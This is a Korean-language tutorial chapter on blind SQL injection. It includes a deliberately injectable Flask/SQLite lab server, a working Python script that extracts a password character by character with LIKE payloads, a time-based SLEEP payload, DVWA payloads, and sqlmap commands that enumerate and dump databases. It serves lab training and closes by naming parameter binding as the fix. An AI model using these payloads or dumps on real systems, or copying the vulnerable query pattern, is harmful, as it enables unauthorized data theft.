Step 137. Blind SQLi와 sqlmap — 보이지 않아도 빼낸다
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3.5시간
전제: Step 104의 Blind 추출 시뮬레이터, Step 135~136의 SQL 인젝션 기초와 UNION 추출을 마쳤다.
- 준비물: 파이썬 3 + Flask + requests, DVWA(SQLi Blind 메뉴가 있다면), sqlmap(선택).
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 주의: sqlmap은 이 집필 환경에 없어서 출력 예시로 표기합니다. 대신 Blind 추출의 원리 — 참/거짓 응답 차이로 32자를 한 글자씩 뽑는 전 과정 — 은 로컬 서버를 상대로 한 실제 HTTP 요청 954회의 실측으로 증명합니다.
Step 136의 UNION은 화면에 출력이 있을 때의 기술입니다. 그런데 잘 만든(?) 취약 서비스는 결과를 보여 주지 않습니다 — "있습니다 / 없습니다" 두 문장만 돌아오죠. 출력이 없으면 끝일까요? 아닙니다. 참과 거짓의 차이도 정보입니다. 오늘은 그 1비트의 신호로 비밀번호 전체를 빼내는 Blind SQLi를 로컬 서버에서 실제로 돌려 보고, 그 지루한 반복을 대신해 주는 자동화 도구 sqlmap의 역할까지 정리합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- Boolean-based Blind SQLi의 오라클(참/거짓 답변 장치) 원리를 설명한다
- 참/거짓 응답 차이를 확인하는 두 개의 시험 페이로드를 작성한다
- LIKE 접두어 매칭으로 한 글자씩 추출하는 스크립트를 직접 작성·실행한다
- time-based Blind(SLEEP)가 필요한 상황을 설명한다
- sqlmap 명령의 각 옵션(-u, –cookie, –dbs, –dump)의 의미를 읽을 수 있다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 + Flask(오라클 서버) + requests.Session(추출기), DVWA·sqlmap(출력 예시) |
| 오늘의 페이로드·코드 | ' AND '1'='1 / ' AND '1'='2(오라클 시험), admin' AND password LIKE 'W%, sqlmap -u --cookie --dbs --tables --dump |
| 필요한 개념 | Boolean-based / time-based Blind, 문자 집합 순회, 요청 수 계산, LIKE 와일드카드 함정 |
| 오늘의 산출물 | lab137.py(오라클 서버) + blind_extract137.py(추출기) + 추출 기록 |
2-1. 오라클 — 대답이 두 갈래뿐인 서버
Step 104에서 만났던 그 장치입니다. 어떤 입력에는 "exists", 어떤 입력에는 "MISSING" — 서버의 대답이 정확히 두 종류라면, 그것은 참/거짓을 물어보는 기계(오라클)입니다. Blind SQLi는 이 기계에 "비밀번호 첫 글자가 W니?" 같은 예/아니오 질문을 던져 정보를 조립합니다.
핵심 통찰: 서버는 결과를 숨겼지만 조건의 평가 결과는 숨기지 못했습니다. 쿼리가 한 행이라도 반환하면 "exists", 아니면 "MISSING" — 내가 심은 조건이 참인지가 그대로 드러납니다.
2-2. 한 글자씩 묻는 법
admin' AND password LIKE 'W%
이 입력이 참("exists")이면 "admin의 비밀번호는 W로 시작한다"는 답을 얻은 것입니다. 문자 집합(알파벳 대소문자+숫자, 62자)을 순회하며 참이 나올 때까지 묻고, 확정된 글자를 붙여 다음 자리를 묻습니다. 32자 × 최악 62회 = 최대 1,984회의 요청. 수작업은 불가능하고 스크립트가 곧 무기입니다.
2-3. time-based — 참/거짓마저 안 보일 때
어떤 서버는 참이든 거짓이든 같은 화면을 줍니다. 그때는 조건에 시간을 걸어버립니다.
-- MySQL 출력 예시: 참이면 5초간 멈춤
admin' AND IF(password LIKE 'W%', SLEEP(5), 0)--
응답이 5초 늦으면 참, 즉시 오면 거짓. 화면 대신 시간이 오라클이 됩니다. 더 은밀하지만 더 느립니다 — 글자 하나에 수십 초. 오늘은 개념만 익히고, 실습은 Boolean 기반에 집중합니다.
2-4. sqlmap — 수백 번의 요청을 대신 던지는 기계
원리를 손으로 겪고 나면 자동화의 가치가 보입니다. sqlmap은 탐지부터 DB 열거, 덤프까지를 자동으로 수행하는 SQL 인젝션 전용 도구입니다. 로그인이 필요한 대상에는 쿠키를 넘겨야 하고(Step 134의 신분증!), 난수 토큰이 있는 폼에는 옵션을 더 줘야 합니다 — 도구는 원리를 아는 사람의 손에서만 제대로 돕니다.
3. 따라 하기
3-1. 오라클 서버 준비
lab137.py (교육용 취약 코드 — 어디에도 배포 금지):
import sqlite3
from flask import Flask, request
app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
("admin", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"),
("alice", "wonderland"),
])
CONN.execute("PRAGMA case_sensitive_like = ON") # MySQL의 LIKE BINARY에 해당
@app.route("/check")
def check():
"""결과를 보여 주지 않고 존재 여부만 답하는 취약 엔드포인트."""
u = request.args.get("u", "")
sql = f"SELECT * FROM users WHERE username = '{u}'"
try:
rows = CONN.execute(sql).fetchall()
except Exception:
rows = []
return ("User ID exists in the database." if rows
else "User ID is MISSING from the database.")
if __name__ == "__main__":
app.run(port=5137)
python lab137.py
DVWA의 "SQL Injection (Blind)" 메뉴와 같은 구조입니다 — 입력을 넣으면 사용자 존재 여부만 돌아옵니다 (DVWA 화면은 출력 예시: User ID exists in the database.).
3-2. 오라클 시험 — 참과 거짓의 경계 찾기
추출 전에, 이 서버가 정말 두 갈래로 답하는지 확인합니다.
import requests
BASE = "http://127.0.0.1:5137/check"
S = requests.Session()
def oracle(payload):
r = S.get(BASE, params={"u": payload})
return "exists" in r.text
print("참 테스트:", oracle("admin' AND '1'='1")) # True 기대
print("거짓 테스트:", oracle("admin' AND '1'='2")) # False 기대
출력 (2026-09-09 실측):
참 테스트: True
거짓 테스트: False
읽는 법: '1'='1을 심으면 exists, '1'='2를 심으면 MISSING — 내 조건의 참/거짓이 응답을 결정합니다. 오라클 확보. DVWA에서 손으로 확인할 때는 입력창에 ' AND 1=1 #(정상 출력) vs ' AND 1=2 #(빈 결과)를 비교하는 것이 이 단계입니다.
주의할 점: 이 서버는 다행히 두 문장이 exists에서 갈리지만, Natas의 "This user doesn’t exist"처럼 부정 문장 안에 긍정 단어가 들어 있는 서버도 많습니다. 그런 곳에서 "exists" in 응답으로 판별하면 거짓도 참으로 뒤집힙니다. 실전에서는 부정 문장을 먼저 검사하거나, 두 응답을 통째로 비교해 갈리는 부분을 확인하는 것이 정석입니다 (Step 104 벽 4 복습).
3-3. 추출기 작성 — 32자를 한 글자씩
blind_extract137.py:
import requests
import string
BASE = "http://127.0.0.1:5137/check"
S = requests.Session()
def oracle(payload):
return "exists" in S.get(BASE, params={"u": payload}).text
# 주의: 문자 집합에 % 와 _ 를 넣으면 안 됩니다 — LIKE의 와일드카드라 항상 참!
charset = string.ascii_letters + string.digits
known = ""
queries = 0
while True:
found = False
for ch in charset:
queries += 1
if oracle(f"admin' AND password LIKE '{known}{ch}%"):
known += ch
found = True
print(f"확정: {known} (누적 요청 {queries}회)")
break
if not found:
break
print("최종 추출 결과:", known)
print("총 요청 수:", queries)
출력 (2026-09-09 실측, 처음과 끝):
참 테스트: True
거짓 테스트: False
확정: W (누적 요청 51회)
확정: Wa (누적 요청 52회)
확정: WaI (누적 요청 87회)
...(중략)...
확정: WaIHEacj63wnNIBROHeqi3p9t0m5nhm (누적 요청 884회)
확정: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh (누적 요청 892회)
최종 추출 결과: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
총 요청 수: 954
읽는 법: 첫 글자 W를 찾는 데만 51번의 요청이 들었습니다 (charset에서 대문자 W가 51번째 후보라서). 결과는 서버에 넣어 둔 비밀번호와 정확히 일치. 서버는 한 번도 비밀번호를 보여 준 적이 없는데, 954번의 예/아니오로 전부 새어 나왔습니다.
왜: 이것이 "출력이 없으니 안전하다"는 착각의 반박입니다. 방어자가 숨긴 것은 결과일 뿐, 조건 평가의 부산물(응답 문구·응답 시간)은 여전히 정보를 운반합니다. 그래서 Blind는 "화면에 안 나오는 인젝션"이 아니라 "다른 통로로 나오는 인젝션"입니다.
3-4. 수동 맛보기 (DVWA, 출력 예시)
DVWA가 있다면 스크립트 없이 오라클을 손으로 느껴 보세요. SQLi (Blind) 메뉴의 입력창에:
1' AND 1=1 # → User ID exists ... (참)
1' AND 1=2 # → User ID is MISSING ... (거짓)
1' AND SUBSTRING(database(),1,1)='d' # → DB명 첫 글자가 d면 참
세 번째가 추출의 씨앗입니다 — "DB 이름의 첫 글자가 d입니까?"라는 예/아니오 질문. 이 질문을 62자 × 글자 수만큼 반복하는 것을 사람이 하면 하루가 가고, 스크립트가 하면 수 분입니다 (3-3 실측 기준).
3-5. sqlmap으로 자동화 (출력 예시)
원리를 체험했으니 이제 기계에 맡기는 법을 봅니다. DVWA는 로그인이 필요하므로 쿠키를 함께 넘깁니다 (Step 134 복습 — 쿠키가 신분증).
sqlmap -u "http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=여러분의세션값" --dbs
출력 예시 (버전에 따라 다를 수 있습니다):
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
available databases [2]:
[*] dvwa
[*] information_schema
이어서 --tables -D dvwa로 테이블 목록, --dump -T users -D dvwa로 덤프까지 진행합니다. --proxy=http://127.0.0.1:8080을 붙이면 sqlmap이 보내는 수백 개의 요청을 Burp에서 관찰할 수 있습니다 — 방금 여러분이 손으로 쓴 그 루프를 기계가 돌리는 모습이 보입니다.
읽는 법: sqlmap이 자동으로 한 일을 3-3과 대조하세요. 참/거짓 판별 기준 찾기(3-2), 문자 집합 순회(3-3), 그리고 DB 목록·테이블 목록·덤프의 순서(Step 136의 삼단과 동일). 도구의 출력이 낯설지 않아야 합니다.
3-6. 막히는 지점 점검 — 도구가 못 하는 상황
sqlmap에 쿠키를 안 넣으면 어떻게 될까요? 로그인 페이지로 튕겨서 모든 요청이 같은 "로그인 화면"을 받고, 도구는 "injectable이 아니다"라고 결론 내립니다. 도구는 쿠키가 왜 필요한지 설명해 주지 않습니다 — Step 134를 거친 여러분만 압니다. 커스텀 앱(응답이 JSON이거나, 판별 기준이 애매하거나, 요청마다 토큰이 바뀌는)에서는 결국 3-3 같은 자작 스크립트로 돌아옵니다. 수동 추론을 한 번이라도 겪는 이유가 여기 있습니다.
4. 미션과 연습문제
미션 — Blind 추출기 완성과 도구 비교
lab137.py와blind_extract137.py를 완성해 32자 비밀번호를 추출하고 총 요청 수를 기록합니다.- 추출기에 진행 표시 외에 경과 시간을 추가해 "글자당 평균 시간"을 계산해 봅니다.
- (선택) 비밀번호를
'X7k'-같은 짧은 값으로 바꿔 요청 수가 어떻게 줄어드는지 관찰합니다. - DVWA + sqlmap이 가능하면
--dbs까지 실행하고, sqlmap의 로그에서 "boolean-based blind"라는 판정 문구를 찾아 캡처합니다. - 위키에
Blind정리.md— 오라클의 정의, 참/거짓 시험 페이로드 한 쌍, 요청 수 계산, sqlmap 옵션 표를 정리합니다.
연습문제
문제 1. Blind SQLi에서 서버가 "결과를 숨겼지만 숨기지 못한 것"은 무엇인가요? 그것이 정보가 되는 이유를 설명해 보세요.
문제 2. 추출 문자 집합에 %나 _를 넣으면 어떤 일이 생기나요? 실측에서 관찰된 현상을 근거로 설명해 보세요.
문제 3. 비밀번호가 32자, 문자 집합이 62개일 때 최대 요청 수를 계산하고, 3-3의 실측(954회)이 왜 그 절반보다 조금 적은지 설명해 보세요.
문제 4. sqlmap에서 --cookie 옵션이 필요한 경우와, 빠뜨렸을 때 벌어지는 일을 Step 134의 개념으로 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
검증하는 법: ① 추출 결과가 서버에 넣은 비밀번호와 한 글자도 다르지 않은가 (2026-09-09 실측 기준: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh, 954회). ② 참/거짓 시험 페이로드 두 개가 각각 exists/MISSING을 유도했는가. ③ 짧은 비밀번호 실험에서 요청 수가 길이에 비례해 줄었는가. ④ 정리 문서에 "화면 출력이 없어도 참/거짓·시간 차이로 정보가 샌다"는 문장이 있는가.
연습문제 해답
문제 1 해답. 조건 평가의 결과입니다. AND 조건을 심으면 그 조건이 참일 때만 행이 반환되고, 서버는 행의 유무를 "exists/MISSING"이나 응답 시간으로 드러냅니다. 결과의 내용은 숨겼지만 결과의 존재 여부가 곧 내 조건의 참/거짓이므로, 예/아니오 질문의 답이 되어 한 글자씩 정보가 조립됩니다.
문제 2 해답. %와 _는 LIKE의 와일드카드(각각 "임의 문자열", "임의 한 글자")라서 비밀번호에 없는 글자인데도 항상 참이 됩니다. 집필 환경 실측에서 문자 집합에 특수문자를 섞었다가, 비밀번호를 다 찾은 뒤에도 %가 계속 "확정"되며 루프가 끝나지 않는 사고가 났습니다 — 수천 회의 요청이 추가로 나가 포트 고갈 오류(WinError 10048)까지 관찰됐습니다. 와일드카드는 빼거나 이스케이프하세요.
문제 3 해답. 최악은 32 × 62 = 1,984회입니다. 실측 954회는 글자당 평균 약 30회 — 문자 집합 62개를 순서대로 훑을 때 기대값이 대략 절반(31회)이므로 이치에 맞습니다. 마지막에 "더 이상 참이 없음"을 확인하는 한 바퀴(62회)가 추가로 듭니다.
문제 4 해답. DVWA 같은 로그인제 사이트는 유효한 세션 쿠키 없이는 모든 요청을 로그인 페이지로 돌려보냅니다. sqlmap은 브라우저가 아니라서 쿠키를 자동으로 갖고 있지 않으므로, --cookie로 신분증을 직접 쥐여 줘야 취약 페이지에 도달합니다. 빠뜨리면 도구는 로그인 화면을 상대로 주사를 놓고 "인젝션 불가"라는 엉뚱한 결론을 냅니다.
완료 기준 체크리스트
- [ ] 오라클(참/거짓 답변 장치)이 무엇인지 한 문장으로 말할 수 있다
- [ ]
' AND '1'='1/' AND '1'='2한 쌍으로 오라클을 시험할 수 있다 - [ ] LIKE 접두어 추출 루프를 직접 작성해 32자를 뽑았다
- [ ] LIKE 와일드카드(
%,_)의 함정을 설명할 수 있다 - [ ] time-based Blind가 필요한 상황(화면 차이마저 없을 때)을 말할 수 있다
- [ ] sqlmap 명령의
-u --cookie --dbs --dump옵션을 읽을 수 있다 - [ ] 미션: 추출기 완성 + 요청 수 기록 문서를 작성했다
6. 흔한 실수와 해결
벽 1. 추출이 끝나지 않고 %가 무한히 붙어요
증상 (집필 환경 실측): 비밀번호를 다 찾은 뒤에도 "확정: …%%%%…"가 이어지다가 결국 연결 오류:
requests.exceptions.ConnectionError: ... [WinError 10048] 각 소켓 주소(프로토콜/네트워크 주소/포트)는 하나만 사용할 수 있습니다
원인: 문자 집합에 LIKE 와일드카드 %를 넣었습니다. 어떤 접두어에도 참이라 루프가 안 끝나고, 폭주한 요청이 윈도우의 임시 포트를 고갈시켰습니다.
해결: charset에서 %와 _를 빼세요 (특수문자가 필요하면 ESCAPE 절 사용). 이미 포트가 고갈됐다면 1~2분 기다렸다가 재실행하면 됩니다 — TIME_WAIT 소켓이 정리되는 시간입니다.
벽 2. 추출 결과가 전부 소문자로 나와요
증상: 실제 값은 WaIH...인데 waih...로 추출됩니다.
원인: DB의 LIKE가 대소문자를 구분하지 않습니다 (SQLite 기본값, MySQL의 기본 collation도 마찬가지).
해결: SQLite는 PRAGMA case_sensitive_like = ON, MySQL은 LIKE BINARY를 씁니다 (Step 104에서 배운 그대로). 대소문자가 섞인 비밀번호에서는 필수입니다.
벽 3. 참인데 거짓으로, 거짓인데 참으로 판정돼요
증상: 첫 글자부터 엉뚱한 문자가 확정되거나 아무것도 확정되지 않습니다.
원인: 판별 문자열이 두 응답 모두에 포함됩니다 — 예: "exists"는 "doesn't exist"에도 부분 포함됩니다.
해결: 더 긴 문구로 판별하거나, 부정 문장(MISSING)을 먼저 검사하세요. 확실하지 않으면 두 응답을 통째로 출력해 차이를 눈으로 먼저 확인하는 것이 정석입니다.
벽 4. sqlmap이 "not injectable"이라고 해요
증상: 분명 취약한 페이지인데 도구가 못 찾습니다.
원인 1순위: 쿠키 누락 — 로그인 화면을 상대하고 있었습니다. 2순위: 응답의 참/거짓 차이가 미묘해 자동 판별에 실패.
해결: 브라우저 개발자 도구에서 Cookie: 헤더를 통째로 복사해 --cookie에 넣으세요. 그래도 안 되면 --level/--risk를 올리거나, 3-3의 자작 추출기로 돌아옵니다. 도구의 실패는 원리 복귀 신호입니다.
벽 5. 요청이 갈수록 느려져요
증상: 처음엔 빠르던 추출이 수백 회부터 급격히 느려집니다.
원인: 매 요청 새 TCP 연결이 열리고 닫히며 운영체제의 임시 포트가 소진되는 중입니다.
해결: requests.Session()으로 연결을 재사용하고, 필요하면 요청 사이에 아주 짧은 time.sleep을 넣으세요. 실전에서는 이 "느려짐" 자체가 방어자의 탐지 신호이기도 합니다 — Blind는 시끄러운 공격입니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| Blind SQLi | 출력 대신 참/거짓 신호로 한 글자씩 빼내는 인젝션 |
| 오라클 | 내 조건의 참/거짓을 대답해 주는 서버 반응 (exists 유무, 응답 시간) |
| Boolean-based | 화면 문구의 차이를 오라클로 쓰는 방식 |
| time-based | SLEEP으로 응답 시간을 오라클로 쓰는 방식 — 가장 은밀하고 가장 느림 |
| 문자 집합 순회 | 62자를 차례로 묻는 추출 루프 — 32자 기준 실측 954회 |
| sqlmap | 탐지→열거→덤프를 자동화하는 도구 — 쿠키 전달이 관건 |
오늘의 명령어와 페이로드
| 명령·페이로드 | 하는 일 |
|---|---|
' AND '1'='1 / ' AND '1'='2 |
오라클 시험 (참/거짓 경계 확인) |
admin' AND password LIKE 'W% |
첫 글자 질문 — 참이면 W 확정 |
PRAGMA case_sensitive_like = ON / LIKE BINARY |
대소문자 구분 강제 |
requests.Session() |
수백 회 요청에서 연결 재사용 |
sqlmap -u "URL" --cookie="..." --dbs |
자동 탐지 + DB 목록 |
sqlmap ... --tables -D dvwa / --dump -T users -D dvwa |
테이블 목록 / 최종 덤프 |
명령어보다 중요한 감각
Blind SQLi의 교훈은 공격 기법을 넘어섭니다 — 정보는 화면에 인쇄될 때만 새는 것이 아닙니다. 응답 문구의 유무, 응답 시간, 에러의 종류까지 전부 신호입니다. 방어자가 "숨겼다"고 믿는 것과 실제로 숨겨진 것의 차이를 보는 눈, 그것이 오늘의 수확입니다. 그리고 954회의 요청이 무의미해지는 방법도 변함없이 한 줄입니다 — 파라미터 바인딩. 공격이 정교해질수록, 방어의 단순함이 더 선명해집니다.
전부 체크되면 Step 137 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.